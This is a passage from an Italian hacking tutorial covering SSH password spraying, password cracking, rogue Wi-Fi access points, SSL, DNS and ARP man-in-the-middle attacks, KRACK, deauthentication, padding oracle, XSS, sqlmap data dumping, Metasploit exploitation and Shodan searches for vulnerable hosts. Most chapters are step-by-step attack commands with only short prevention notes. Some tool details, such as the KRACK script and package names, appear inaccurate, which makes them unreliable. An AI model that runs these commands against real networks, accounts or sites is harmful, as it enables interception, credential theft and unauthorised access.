- Esecuzione dell’attacco: Una volta configurato, Wifiphisher inizia a disconnettere gli utenti dalla rete legittima, spingendoli a connettersi alla rete falsa e inserire le proprie credenziali su una pagina di phishing.
Prevenzione degli Attacchi di Phishing Wi-Fi
- Non inserire credenziali su pagine sospette: Gli utenti devono prestare attenzione ai tentativi di phishing.
- Utilizzare autenticazione multi-fattore (MFA): MFA aggiunge un ulteriore livello di sicurezza.
28. Attacchi di Password Spraying su SSH
L’attacco di password spraying è una variante di forza bruta in cui si tenta di indovinare le password su un gran numero di account, ma utilizzando un numero limitato di tentativi per evitare blocchi.
Cos’è il Password Spraying?
Invece di provare molte password su un solo account, il password spraying tenta poche password comuni su molti account. Questo riduce il rischio di blocco dovuto a troppi tentativi di accesso falliti.
Esecuzione di un Attacco Password Spraying con Hydra
- Installazione di Hydra: Hydra è uno strumento popolare per attacchi di forza bruta e password spraying:sudo apt update
sudo apt install hydra - Avvio di un attacco password spraying: Supponiamo di voler testare la password su diversi account SSH. Usa il seguente comando:hydra -L user_list.txt -p password123 ssh://192.168.1.1
- user_list.txt: File contenente l’elenco degli account.
- password123: La password comune da testare.
- Analisi dei risultati: Se Hydra riesce a trovare una combinazione di account e password valida, la mostrerà nella console.
Prevenzione contro Attacchi di Password Spraying
- Utilizzare password complesse: Evita l’uso di password comuni o facilmente indovinabili.
- Limitare i tentativi di accesso: Configura le policy di blocco per limitare i tentativi falliti.
29. Utilizzo di John the Ripper per Cracking Avanzato di Password
John the Ripper è uno strumento popolare per il cracking di password, utilizzato per testare la robustezza delle password su vari sistemi. In questo capitolo, vedremo come utilizzare John the Ripper per eseguire attacchi di forza bruta avanzati e spiegare le differenze tra i vari comandi e approcci disponibili.
Installazione di John the Ripper
Per iniziare, è necessario installare John the Ripper. Su Kali Linux o altri sistemi basati su Debian, puoi utilizzare il seguente comando per installarlo:
[code]sudo apt update && sudo apt install john[/code]
Formati di Hash Supportati
John the Ripper supporta una vasta gamma di formati di hash, come MD5, SHA-256, bcrypt e molti altri. Puoi verificare i formati supportati con il comando:
[code]john –list=formats[/code]
Conoscere il formato dell’hash è essenziale per il corretto utilizzo di John the Ripper, poiché permette al programma di eseguire il cracking in modo più efficiente.
Cracking di Password con Wordlist
Uno dei metodi principali per utilizzare John the Ripper è il cracking basato su wordlist. Puoi usare un file di cattura di hash (ad esempio, hash.txt) e una wordlist (ad esempio, rockyou.txt) con il seguente comando:
[code]john –wordlist=/path/to/rockyou.txt /path/to/hash.txt[/code]
John the Ripper proverà a decifrare gli hash utilizzando tutte le password presenti nella wordlist specificata.
Cracking Incrementale (Brute Force)
Se non hai una wordlist o non sai esattamente quali potrebbero essere le password, puoi utilizzare l’opzione di brute force o cracking incrementale, che genera password basate su una serie di criteri:
[code]john –incremental /path/to/hash.txt[/code]
Questo metodo è più lento rispetto all’uso di una wordlist, ma garantisce che John proverà ogni possibile combinazione di caratteri.
Monitorare lo Stato del Cracking
John the Ripper permette di monitorare lo stato del cracking in tempo reale utilizzando il seguente comando:
[code]john –status[/code]
Questo è utile per verificare il progresso, specialmente durante un attacco brute force che potrebbe richiedere molto tempo.
Prevenzione contro il Cracking di Password
- Utilizza password complesse che includano lettere maiuscole e minuscole, numeri e simboli.
- Evita password comuni o di facile intuizione, che sono spesso presenti nelle wordlist utilizzate per il cracking.
- Implementa l’autenticazione a due fattori (2FA) per proteggere ulteriormente gli account.
Link di Approfondimento
30. Attacchi di Rogue Access Point con Hostapd
Un Rogue Access Point (AP) è un punto di accesso falso configurato per intercettare il traffico Wi-Fi e ingannare gli utenti affinché si connettano. Questo tipo di attacco può essere utilizzato per eseguire sniffing, raccogliendo credenziali e dati sensibili. Vediamo come configurare un Rogue Access Point utilizzando Hostapd.
Cos’è un Rogue Access Point?
Un Rogue AP imita un access point legittimo, facendo sì che i dispositivi vicini si connettano a esso invece di al vero punto di accesso. Questo permette all’attaccante di intercettare tutto il traffico inviato dai dispositivi.
Configurazione di un Rogue Access Point con Hostapd
- Installazione di Hostapd: Hostapd è un software per creare punti di accesso su Linux. Puoi installarlo con il seguente comando:sudo apt update
sudo apt install hostapd - Configurazione del file di Hostapd: Per creare un Rogue AP, dovrai configurare il file /etc/hostapd/hostapd.conf. Ecco un esempio di configurazione:interface=wlan0
driver=nl80211
ssid=RogueAP
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0 - ssid=RogueAP: Il nome della rete Wi-Fi che stai creando.
- channel=6: Il canale su cui trasmettere.
- Avvio di Hostapd: Dopo aver configurato il file, puoi avviare il Rogue AP con il seguente comando:sudo hostapd /etc/hostapd/hostapd.conf
- Assegnazione degli indirizzi IP con dnsmasq: Usa dnsmasq per assegnare indirizzi IP ai dispositivi che si connettono al Rogue AP. Ecco un esempio di configurazione:interface=wlan0
dhcp-range=192.168.0.10,192.168.0.50,12h - Monitorare il traffico con Wireshark: Una volta che il Rogue AP è attivo, puoi monitorare il traffico dei dispositivi connessi utilizzando Wireshark:sudo wireshark
Prevenzione di Attacchi Rogue Access Point
- Utilizzare WPA3: WPA3 offre una maggiore protezione contro gli attacchi basati su Rogue AP.
- Configurare VPN: Una VPN protegge i dati trasmessi anche su reti non sicure.
Link di Approfondimento
31. Cifratura WPA3: Configurazione e Sicurezza
WPA3 è l’ultima versione del protocollo di sicurezza Wi-Fi, progettata per migliorare la protezione rispetto a WPA2, introducendo nuove funzionalità come la Protezione Forward Secrecy e il Simultaneous Authentication of Equals (SAE). In questo capitolo vedremo come configurare WPA3 e approfondiremo le sue caratteristiche di sicurezza avanzate.
Cos’è WPA3?
WPA3 è stato introdotto per affrontare alcune delle vulnerabilità presenti in WPA2, migliorando la protezione contro attacchi di forza bruta e sniffing. WPA3 introduce un processo di autenticazione più robusto e crittografia individuale per ogni connessione.
Configurazione di WPA3 su un Router
- Verifica della compatibilità del router: Prima di configurare WPA3, verifica che il tuo router supporti il protocollo. Puoi farlo consultando la documentazione del dispositivo o controllando le opzioni di sicurezza nelle impostazioni del router.
- Abilitazione di WPA3: Accedi al pannello di controllo del router e vai alla sezione relativa alla sicurezza Wi-Fi. Se il router supporta WPA3, dovresti trovare un’opzione per abilitare il protocollo. Ad esempio:Impostazioni di sicurezza Wi-Fi: WPA3-Personal
- Se possibile, utilizza la modalità mista WPA2/WPA3 per garantire compatibilità con dispositivi più vecchi.
- Crittografia con WPA3: WPA3 utilizza il metodo di autenticazione SAE (Simultaneous Authentication of Equals), che protegge dalle vulnerabilità come gli attacchi di pre-condivisione delle chiavi (pre-shared key).
- Impostazioni di protezione aggiuntive:
- Protezione Forward Secrecy: Garantisce che anche se una chiave viene compromessa, il traffico passato non può essere decifrato.
- 192-bit Security Mode: WPA3 offre una modalità di crittografia opzionale a 192-bit, che migliora ulteriormente la sicurezza.
Vantaggi di WPA3
- Migliore resistenza agli attacchi di brute force: WPA3 blocca più efficacemente gli attacchi di forza bruta, poiché non utilizza una chiave pre-condivisa fissa come WPA2.
- Crittografia personalizzata: Ogni connessione utilizza una chiave unica, rendendo più difficile per gli attaccanti intercettare il traffico.
Prevenzione di Attacchi su WPA3
- Disabilitare WPS: Anche con WPA3, WPS (Wi-Fi Protected Setup) rappresenta una vulnerabilità e dovrebbe essere disabilitato.
- Aggiornamenti del firmware: Mantieni il firmware del router sempre aggiornato per sfruttare le ultime patch di sicurezza.
Link di Approfondimento
32. Analisi del Traffico SSL con sslsniff
sslsniff è uno strumento utilizzato per intercettare e manipolare il traffico SSL/TLS, permettendo a un attaccante di eseguire attacchi man-in-the-middle su connessioni crittografate. In questo capitolo vedremo come configurare e utilizzare sslsniff per intercettare il traffico HTTPS e spiegare le vulnerabilità che possono essere sfruttate.
Cos’è sslsniff?
sslsniff è un tool che consente di intercettare il traffico SSL/TLS, decrittografarlo e analizzarlo. È utilizzato principalmente in attacchi man-in-the-middle in cui l’attaccante riesce a intercettare il traffico tra un utente e un server web.
Installazione di sslsniff
- Installazione su Kali Linux: sslsniff può essere installato su Kali Linux con il seguente comando:sudo apt update
sudo apt install sslsniff - Configurazione di sslsniff: Prima di poter intercettare il traffico SSL, devi configurare sslsniff per agire come proxy e redirigere il traffico HTTPS attraverso di esso. Ecco un esempio di configurazione di base:sslsniff -a -c /path/to/cert.pem -s <victim_IP> -w capture.log
- -c: Il certificato che verrà utilizzato per l’attacco.
- <victim_IP>: L’indirizzo IP della vittima.
- -w: Specifica il file di log dove verrà memorizzato il traffico intercettato.
Attacco Man-in-the-Middle con sslsniff
- Creazione di un certificato SSL finto: Per utilizzare sslsniff, dovrai creare un certificato finto che verrà utilizzato per ingannare la vittima, facendole credere di essere su una connessione sicura.openssl req -new -x509 -days 365 -keyout fake_cert.key -out fake_cert.pem
- Configurazione del certificato in sslsniff: Dopo aver creato il certificato, configuralo in sslsniff e avvia il tool per intercettare il traffico SSL:sslsniff -a -c fake_cert.pem -s <victim_IP> -w ssl_capture.log
- Monitoraggio del traffico HTTPS: sslsniff registrerà tutto il traffico HTTPS intercettato nel file ssl_capture.log, dove potrai analizzare le richieste e le risposte decrittografate.
Prevenzione di Attacchi SSL
- Utilizzare certificati validi: Assicurati che i certificati SSL siano validi e non scaduti.
- HSTS (HTTP Strict Transport Security): Implementare HSTS per forzare connessioni HTTPS e prevenire attacchi di downgrade.
- VPN: Utilizzare una VPN per proteggere ulteriormente il traffico anche su connessioni HTTPS.
Link di Approfondimento
33. DNS Spoofing (DNS Cache Poisoning)
DNS Spoofing, noto anche come DNS Cache Poisoning, è un attacco in cui un attaccante manipola le risposte DNS per indirizzare l’utente a un sito dannoso o non intenzionato. In questo capitolo, vedremo come funziona il poisoning delle cache DNS e come può essere eseguito un attacco utilizzando strumenti come dnsspoof o ettercap.
Cos’è il DNS Spoofing?
Il DNS Spoofing si basa sull’inganno del sistema DNS (Domain Name System), inducendo un server DNS a memorizzare una voce errata nella cache. Quando gli utenti cercano di accedere a un sito legittimo, vengono reindirizzati a un sito web controllato dall’attaccante, spesso allo scopo di phishing o per rubare informazioni sensibili.
Installazione di dnsspoof
- Installazione su Kali Linux: dnsspoof è incluso nel pacchetto dsniff, che può essere installato con:sudo apt update
sudo apt install dsniff - Configurazione del file hosts: Per eseguire un attacco di DNS Spoofing, crea un file hosts con i domini e gli indirizzi IP da reindirizzare. Esempio:echo “192.168.1.100 www.targetsite.com” > spoof_hosts
- Esecuzione di dnsspoof: Dopo aver configurato il file hosts, esegui il seguente comando per avviare l’attacco:sudo dnsspoof -i wlan0 -f spoof_hosts
- -i wlan0: Interfaccia di rete da usare.
- -f spoof_hosts: File di configurazione dei reindirizzamenti DNS.
Protezione contro il DNS Spoofing
- DNSSEC: DNSSEC (DNS Security Extensions) protegge contro gli attacchi DNS Spoofing firmando digitalmente le risposte DNS.
- Verifica manuale degli URL: Gli utenti dovrebbero sempre controllare gli URL dei siti web prima di inserire informazioni sensibili.
Link di Approfondimento
34. ARP Spoofing (Address Resolution Protocol)
ARP Spoofing è una tecnica di attacco utilizzata per ingannare la tabella ARP (Address Resolution Protocol) di una rete locale, consentendo all’attaccante di intercettare o manipolare il traffico tra i dispositivi. In questo capitolo, vedremo come funziona l’ARP Spoofing e come eseguire un attacco utilizzando strumenti come arpspoof o ettercap.
Cos’è l’ARP Spoofing?
L’ARP è un protocollo che associa gli indirizzi IP ai MAC Address, utilizzati per comunicare all’interno di una rete locale. L’ARP Spoofing funziona falsificando le risposte ARP per fare in modo che il traffico di rete venga inviato all’attaccante anziché al dispositivo legittimo.
Esecuzione di un Attacco ARP Spoofing con arpspoof
- Installazione di arpspoof: Su Kali Linux, arpspoof è incluso nel pacchetto dsniff:sudo apt install dsniff
- Esecuzione di ARP Spoofing: Per eseguire l’attacco, usa il seguente comando:sudo arpspoof -i wlan0 -t <target_IP> <gateway_IP>
- -i wlan0: Interfaccia di rete da utilizzare.
- -t <target_IP>: L’indirizzo IP della vittima.
- <gateway_IP>: L’indirizzo IP del gateway della rete.
- Intercettazione del traffico con Wireshark: Una volta avviato l’attacco, puoi intercettare il traffico tra la vittima e il router utilizzando Wireshark per analizzare i pacchetti.
Protezione contro ARP Spoofing
- Implementare IP-MAC Binding: Le reti possono configurare il binding tra indirizzi IP e MAC per evitare spoofing.
- Utilizzare VPN: La crittografia offerta da una VPN protegge il traffico anche in presenza di attacchi ARP Spoofing.
Link di Approfondimento
35. Attacco a Reti WPA2 con KRACK
Il KRACK (Key Reinstallation Attack) è una vulnerabilità scoperta nel protocollo WPA2 che permette agli attaccanti di intercettare e manipolare il traffico tra un dispositivo e un access point Wi-Fi. In questo capitolo, esamineremo come funziona l’attacco KRACK e come può essere sfruttato per violare reti Wi-Fi.
Cos’è l’Attacco KRACK?
KRACK sfrutta una vulnerabilità nel processo di handshake a quattro vie di WPA2, permettendo all’attaccante di re-inviare chiavi crittografiche già utilizzate. Questo consente di decifrare i pacchetti e, in alcuni casi, inserire nuovi pacchetti di dati.
Esecuzione di un Attacco KRACK
- Installazione degli strumenti: Su Kali Linux, è possibile usare krackattack per sfruttare la vulnerabilità KRACK. Installa il software con:sudo apt install krackattack-scripts
- Cattura dell’handshake WPA2: Prima di lanciare l’attacco KRACK, è necessario catturare l’handshake WPA2 tra il dispositivo e l’access point, come mostrato nei capitoli precedenti.
- Sfruttare KRACK: Dopo aver catturato l’handshake, esegui il seguente comando per lanciare un attacco KRACK:python krackattack.py -a <target_AP_MAC> -c <client_MAC>
- <target_AP_MAC>: MAC Address del punto di accesso.
- <client_MAC>: MAC Address del dispositivo vittima.
- Manipolazione dei pacchetti: Durante l’attacco, sarà possibile intercettare i pacchetti crittografati e manipolarli, decifrando parti del traffico.
Prevenzione contro KRACK
- Aggiornamento dei dispositivi: I fornitori di hardware hanno rilasciato aggiornamenti per correggere questa vulnerabilità, quindi è importante mantenere aggiornati router e dispositivi.
- Utilizzo di WPA3: WPA3 risolve molte delle vulnerabilità presenti in WPA2, inclusa KRACK.
Link di Approfondimento
36. Deauth Attack (Attacco di Deautenticazione)
L’Attacco di Deautenticazione (Deauth Attack) è una tecnica utilizzata per forzare la disconnessione di dispositivi da una rete Wi-Fi, costringendoli a riconnettersi. In questo capitolo vedremo come funziona un attacco di deauth e come eseguirlo utilizzando strumenti come aireplay-ng.
Cos’è un Deauth Attack?
In un Deauth Attack, l’attaccante invia pacchetti di deautenticazione falsi, disconnettendo dispositivi dalla rete Wi-Fi. Questo tipo di attacco viene spesso utilizzato in combinazione con altri attacchi, come la cattura di handshake WPA/WPA2, per forzare la vittima a riconnettersi e intercettare le credenziali di accesso.
Esecuzione di un Attacco di Deautenticazione con aireplay-ng
- Messa in modalità monitor: Prima di eseguire l’attacco, metti la scheda Wi-Fi in modalità monitor:sudo airmon-ng start wlan0
- Identificazione della rete: Usa airodump-ng per identificare il BSSID della rete target e il canale su cui è attiva:sudo airodump-ng wlan0mon
- Esecuzione dell’attacco Deauth: Dopo aver identificato il BSSID e il canale, puoi eseguire l’attacco di deautenticazione con il seguente comando:sudo aireplay-ng –deauth 0 -a <BSSID> wlan0mon
- –deauth 0: Invia pacchetti di deauth fino all’interruzione dell’attacco.
- -a <BSSID>: Il MAC Address del punto di accesso target.
- Opzioni avanzate: Puoi anche specificare un particolare dispositivo da disconnettere:sudo aireplay-ng –deauth 5 -a <BSSID> -c <client_MAC> wlan0mon
- -c <client_MAC>: MAC Address del dispositivo target.
Prevenzione contro Deauth Attack
- Utilizzo di WPA3: WPA3 offre una protezione più avanzata contro gli attacchi di deautenticazione, poiché autentica i messaggi di management.
- Configurazione di un IDS: Un sistema di rilevamento delle intrusioni (IDS) può identificare e bloccare attacchi di deautenticazione in corso.
Link di Approfondimento
37. Attacchi di Side-Channel su HTTPS (Padding Oracle)
Gli attacchi di side-channel, come il Padding Oracle Attack, sfruttano vulnerabilità nelle implementazioni di algoritmi crittografici per ottenere informazioni sensibili, come le chiavi di decrittazione. In questo capitolo, esploreremo come funziona un attacco di tipo Padding Oracle e come può essere eseguito su connessioni HTTPS vulnerabili.
Cos’è un Padding Oracle Attack?
Un Padding Oracle Attack sfrutta una vulnerabilità nel padding di dati cifrati in modalità di crittografia a blocchi, come AES-CBC, in cui la validità del padding fornisce un feedback all’attaccante. Questo tipo di attacco consente di recuperare dati sensibili, come password e chiavi crittografiche, da una connessione HTTPS.
Esecuzione di un Padding Oracle Attack
- Strumenti per l’attacco: Utilizziamo uno strumento come PadBuster, che automatizza il processo di Padding Oracle Attack. Può essere installato su Kali Linux con il seguente comando:sudo apt install padbuster
- Individuare una vulnerabilità HTTPS: Per lanciare l’attacco, è necessario identificare una vulnerabilità Padding Oracle in un’applicazione web che utilizza crittografia simmetrica, come AES, con padding CBC. In questi casi, una risposta di errore diversa in caso di padding corretto o errato può essere utilizzata per decrittare i dati.
- Avvio di PadBuster: Supponiamo di avere un URL vulnerabile e un cookie cifrato. L’attacco può essere lanciato con il seguente comando:padbuster http://vulnerable-site.com/encrypt/ encrypted_cookie 8 -encoding Base64
- encrypted_cookie: Il cookie cifrato da decrittare.
- 8: Il blocco di dimensioni (in byte) utilizzato dal sistema di crittografia (tipicamente 8 o 16 byte).
- Esecuzione dell’attacco: PadBuster tenterà diverse combinazioni di padding e, tramite il feedback fornito dal server, recupererà il plaintext del cookie cifrato.
Protezione contro il Padding Oracle Attack
- Implementare correttamente la crittografia: Evitare l’uso di AES-CBC senza corretta gestione degli errori di padding.
- Aggiornamenti regolari: Assicurarsi che i server web e i componenti crittografici siano aggiornati con le patch di sicurezza più recenti.
Link di Approfondimento
38. Attacchi di Cross-Site Scripting (XSS)
Il Cross-Site Scripting (XSS) è un tipo di vulnerabilità comune nelle applicazioni web, che permette a un attaccante di iniettare script malevoli all’interno di pagine visualizzate da altri utenti. In questo capitolo, analizzeremo come funziona un attacco XSS e come può essere sfruttato utilizzando strumenti come OWASP ZAP.
Cos’è un Attacco XSS?
L’XSS consente agli attaccanti di iniettare codice JavaScript o HTML dannoso in pagine web che vengono visualizzate da altri utenti. Questo codice può essere utilizzato per rubare cookie, sessioni, o manipolare il contenuto della pagina.
Esistono tre tipi principali di attacchi XSS:
- Reflected XSS: Il codice viene iniettato tramite una richiesta HTTP e riflesso immediatamente al client.
- Stored XSS: Il codice viene memorizzato nel database del sito e iniettato ogni volta che un utente accede a una pagina compromessa.
- DOM-Based XSS: Il codice malevolo manipola direttamente il DOM della pagina.
Esecuzione di un Attacco XSS con OWASP ZAP
- Installazione di OWASP ZAP: OWASP ZAP è uno strumento open-source utilizzato per testare vulnerabilità nelle applicazioni web, inclusi attacchi XSS. Può essere installato su Kali Linux con:sudo apt install owasp-zap
- Ricerca di vulnerabilità XSS: Utilizza OWASP ZAP per eseguire una scansione automatica del sito web target alla ricerca di vulnerabilità XSS. Nella sezione “Active Scan”, seleziona le opzioni di attacco XSS.
- Iniezione di script XSS: Un esempio di payload XSS che puoi iniettare in un campo di input vulnerabile è il seguente:<script>alert(‘XSS’);</script>
- Esecuzione dell’attacco: Se la vulnerabilità è presente, lo script verrà eseguito nel browser della vittima, visualizzando l’alert e dimostrando la compromissione della pagina.
Protezione contro XSS
- Sanitizzazione degli input: Filtrare correttamente tutti gli input dell’utente per evitare l’iniezione di codice.
- Utilizzo di Content Security Policy (CSP): Implementare una Content Security Policy per limitare l’esecuzione di script non autorizzati.
Link di Approfondimento
39. SQL Injection (SQLi)
L’SQL Injection (SQLi) è una delle vulnerabilità più gravi nelle applicazioni web che utilizzano database. Permette a un attaccante di eseguire comandi SQL arbitrari per ottenere, modificare o cancellare dati dal database. In questo capitolo, vedremo come eseguire un attacco SQLi utilizzando strumenti come sqlmap.
Cos’è l’Attacco SQL Injection?
Un attacco SQL Injection sfrutta input non sanitizzati nei campi di un’applicazione web, permettendo all’attaccante di manipolare le query SQL inviate al database. Questo può portare alla compromissione del database e alla fuga di dati sensibili.
Esecuzione di un Attacco SQLi con sqlmap
- Installazione di sqlmap: sqlmap è uno strumento automatizzato per rilevare e sfruttare vulnerabilità SQL Injection. Può essere installato su Kali Linux con:sudo apt install sqlmap
- Ricerca di vulnerabilità SQLi: Per utilizzare sqlmap, è necessario individuare un URL vulnerabile con parametri che possono essere iniettati. Ad esempio:http://vulnerable-site.com/index.php?id=1
- Esecuzione di sqlmap: Una volta individuato l’URL vulnerabile, puoi eseguire sqlmap per testare la presenza di vulnerabilità SQLi:sqlmap -u “http://vulnerable-site.com/index.php?id=1” –dbs
- -u: Specifica l’URL target.
- –dbs: Elenca i database disponibili una volta che la vulnerabilità è stata rilevata.
- Estrazione dei dati dal database: Una volta confermata la vulnerabilità, puoi usare sqlmap per estrarre informazioni dal database:sqlmap -u “http://vulnerable-site.com/index.php?id=1” –dump
Protezione contro SQL Injection
- Sanitizzazione degli input: Utilizzare tecniche di validazione degli input per evitare che dati malevoli vengano processati direttamente nelle query SQL.
- Utilizzare query preparate: Le query preparate (o query parametrizzate) eliminano la possibilità di iniezione SQL.
Link di Approfondimento
40. Attacchi a Password basati su Rainbow Tables
Gli attacchi basati su Rainbow Tables sono una tecnica per decifrare password hash utilizzando tabelle pre-calcolate. Queste tabelle contengono hash già risolti, permettendo di risalire rapidamente alla password corrispondente. In questo capitolo vedremo come funzionano le Rainbow Tables e come eseguire un attacco.
Cos’è un Attacco con Rainbow Tables?
Le Rainbow Tables sono pre-calcolate per vari hash e password comuni. Quando un attaccante intercetta un hash, invece di tentare un attacco di forza bruta, confronta l’hash con quelli presenti nelle tabelle, velocizzando così il processo di decifratura.
Esecuzione di un Attacco con Rainbow Tables
- Installazione di rtgen: Uno strumento comune per generare e utilizzare Rainbow Tables è rtgen, che fa parte di RainbowCrack. Può essere installato su Kali Linux con:sudo apt install rainbowcrack
- Generazione di Rainbow Tables: Prima di eseguire l’attacco, è necessario generare le Rainbow Tables. Questo può richiedere tempo e risorse di calcolo significative. Ecco un esempio di comando per generare tabelle per hash di tipo MD5:rtgen md5 loweralpha-numeric 1 7 0 2400 8000000 0
- md5: Tipo di hash.
- loweralpha-numeric: Set di caratteri da utilizzare (lettere minuscole e numeri).
- 1 7: Lunghezza minima e massima delle password.
- 2400 8000000: Parametri che definiscono la catena e il numero di hash.
- Esecuzione dell’attacco: Una volta generate le tabelle, puoi utilizzare il seguente comando per decifrare un hash:rcrack . -l hash_list.txt
- hash_list.txt: File contenente gli hash da decifrare.
- Utilizzo di Rainbow Tables pre-calcolate: Puoi anche scaricare e utilizzare Rainbow Tables già calcolate da database online, riducendo il tempo di elaborazione.
Protezione contro gli Attacchi con Rainbow Tables
- Salting: Utilizzare una tecnica di salting, aggiungendo un valore univoco alla password prima dell’hash, rende inutili le Rainbow Tables pre-calcolate.
- Hash sicuri: Utilizzare algoritmi di hashing robusti come bcrypt o Argon2, che includono meccanismi di protezione contro gli attacchi basati su Rainbow Tables.
Link di Approfondimento
41. Framework di Attacchi Automatizzati (Metasploit Framework)
Il Metasploit Framework è uno dei tool più potenti e completi per l’esecuzione di attacchi automatizzati e test di penetrazione. Metasploit consente di cercare, selezionare e sfruttare vulnerabilità conosciute utilizzando exploit preconfigurati. In questo capitolo, vedremo come funziona il framework Metasploit e come sfruttarlo per eseguire attacchi come buffer overflow e vulnerabilità comuni.
Installazione di Metasploit
Metasploit è preinstallato su Kali Linux, ma nel caso non fosse disponibile, è possibile installarlo utilizzando i seguenti comandi:
sudo apt update
sudo apt install metasploit-framework
Esecuzione di un attacco con Metasploit
- Avvio di Metasploit: Per avviare Metasploit, utilizza il seguente comando:
msfconsole
- Ricerca di vulnerabilità: Una volta avviata la console, puoi cercare exploit per un determinato sistema o servizio. Ad esempio, per cercare exploit per un server FTP, esegui:
search ftp
- Selezione dell’exploit: Una volta individuato l’exploit, selezionalo con il comando use. Ad esempio:
use exploit/windows/ftp/vuln_name
- Configurazione dei parametri: Configura i parametri necessari per l’attacco, come l’indirizzo IP della vittima:
set RHOST 192.168.1.100
- Esecuzione dell’exploit: Dopo aver configurato tutto, esegui l’exploit con il comando:
exploit
Se l’attacco è riuscito, Metasploit fornirà un accesso alla shell o ad altre informazioni del sistema vulnerabile.
Protezione contro exploit di Metasploit
- Aggiornamenti di sicurezza: Mantieni aggiornato il software del sistema e delle applicazioni per prevenire l’utilizzo di exploit conosciuti.
- Firewall e IDS: Implementare firewall e sistemi di rilevamento delle intrusioni (IDS) per monitorare traffico sospetto.
Link di Approfondimento
42. Shodan: Ricerca Dispositivi Vulnerabili
Shodan è un motore di ricerca che permette di trovare dispositivi connessi a Internet, inclusi router, webcam, server, dispositivi IoT e molto altro. È utilizzato dai professionisti della sicurezza per identificare dispositivi vulnerabili in rete. In questo capitolo, esploreremo come funziona Shodan e come può essere utilizzato per identificare vulnerabilità.
Cos’è Shodan?
Shodan scansiona costantemente Internet alla ricerca di dispositivi connessi, catalogandoli per tipo e rendendo disponibili i risultati tramite un motore di ricerca. Gli utenti possono eseguire query per trovare dispositivi con porte aperte o vulnerabilità note, inclusi sistemi non protetti.
Utilizzo di Shodan per Trovare Dispositivi Vulnerabili
- Registrazione su Shodan: Prima di utilizzare Shodan, è necessario registrarsi per ottenere un account gratuito o premium su Shodan.
- Ricerca di dispositivi vulnerabili: Una volta effettuato l’accesso, puoi cercare dispositivi specifici utilizzando query mirate. Ad esempio, per cercare dispositivi FTP vulnerabili, puoi utilizzare:ftp port:21
- Ricerca per versione di software: Puoi anche cercare specifiche versioni vulnerabili di software. Ad esempio, per trovare server Apache vulnerabili, utilizza:apache version:2.4.7
- Download dei risultati: Con un account premium, è possibile scaricare i risultati delle ricerche per analizzarli localmente:shodan download results.json query
Protezione contro Shodan
- Configurare firewall: Imposta regole di firewall per bloccare accessi non autorizzati e limitare la visibilità dei dispositivi.
- Disabilitare servizi non necessari: Riduci la superficie di attacco disabilitando porte e servizi non essenziali.
Link di Approfondimento
43. OWASP Top 10: Le Principali Vulnerabilità delle Applicazioni Web
L’OWASP Top 10 è una lista delle principali vulnerabilità nelle applicazioni web, pubblicata dal progetto Open Web Application Security Project (OWASP). In questo capitolo esploreremo queste vulnerabilità, come gli attacchi di injection, cross-site scripting (XSS), e deserializzazione insicura, e come prevenirli.
Cos’è l’OWASP Top 10?
L’OWASP Top 10 identifica le vulnerabilità più comuni nelle applicazioni web e fornisce linee guida per la prevenzione. Le categorie coprono una vasta gamma di problematiche, dalle iniezioni di codice fino alla gestione delle sessioni.
Le Vulnerabilità Principali
- Injection (Iniezioni di Codice): Le iniezioni di codice (come SQL Injection e Command Injection) avvengono quando input non validati vengono eseguiti come comandi o query SQL. Queste vulnerabilità possono compromettere i database o eseguire comandi non autorizzati sul server.Protezione: Usare query preparate e validare tutti gli input.
- Broken Authentication (Autenticazione Fallace): Questa vulnerabilità permette a un attaccante di prendere il controllo delle credenziali di autenticazione degli utenti, spesso dovuta a sessioni non protette o meccanismi di autenticazione deboli.Protezione: Implementare metodi sicuri di autenticazione (es. MFA) e gestire le sessioni con scadenze appropriate.
- Sensitive Data Exposure (Esposizione di Dati Sensibili): Consente agli attaccanti di accedere a informazioni sensibili non cifrate, come dati finanziari o personali.Protezione: Usare HTTPS e crittografare i dati sensibili.
- XML External Entities (XXE): Quando XML è utilizzato in modo non sicuro, permette a un attaccante di eseguire attacchi come il furto di file dal server.Protezione: Disabilitare le entità esterne in XML.
- Broken Access Control (Controllo di Accesso Insufficiente): Permette a utenti non autorizzati di accedere a dati o funzionalità riservate.Protezione: Implementare controlli di accesso rigorosi e correttamente configurati.
- Security Misconfiguration (Configurazione di Sicurezza Errata): Include configurazioni di sicurezza non adeguate, come porte aperte o servizi non necessari.Protezione: Assicurarsi che tutte le configurazioni siano sicure e aggiornate.
- Cross-Site Scripting (XSS): Gli attacchi XSS permettono l’iniezione di script dannosi in pagine web visualizzate da altri utenti.Protezione: Sanitizzare gli input e implementare Content Security Policies.
- Insecure Deserialization (Deserializzazione Insicura): Permette l’esecuzione di codice non autorizzato tramite input serializzato non sicuro.Protezione: Evitare la deserializzazione di dati non fidati.
- Using Components with Known Vulnerabilities (Uso di Componenti Vulnerabili): L’uso di librerie, framework o altre componenti con vulnerabilità conosciute può esporre l’applicazione a rischi.Protezione: Mantenere aggiornate tutte le componenti e le librerie.
- Insufficient Logging & Monitoring (Logging e Monitoraggio Insufficienti): La mancanza di log e monitoraggio adeguato rende difficile rilevare e rispondere agli attacchi.Protezione: Implementare logging e monitoraggio per identificare attività sospette.
Link di Approfondimento
Generazione e Download di Dizionari per Attacchi Brute-force WPA/WPA2
Un passo fondamentale per gli attacchi brute-force, specialmente nel cracking delle reti Wi-Fi WPA/WPA2, è l’utilizzo di dizionari contenenti una vasta gamma di possibili password. Esistono diverse risorse online che permettono di scaricare wordlist già pronte, oppure puoi generare liste personalizzate con strumenti specifici.
Risorse Online per Wordlist WPA/WPA2
Generazione di Wordlist Personalizzate con Crunch
Se preferisci generare un dizionario personalizzato, puoi usare uno strumento come Crunch. Crunch permette di creare wordlist in base alla lunghezza delle password, ai caratteri utilizzati, e ad altre variabili.
sudo apt-get install crunch
Un esempio di comando per creare una lista di password di 8 caratteri:
crunch 8 8 abcdefghijklmnopqrstuvwxyz -o dizionario.txt
Poi, puoi utilizzare direttamente questa wordlist per attacchi WPA/WPA2 con Aircrack-ng:
crunch 8 8 abcdefghijklmnopqrstuvwxyz | aircrack-ng -w – -b 00:11:22:33:44:55 handshake.cap
Per ulteriori informazioni, consulta la documentazione ufficiale di Crunch su GitHub.
Commenti recenti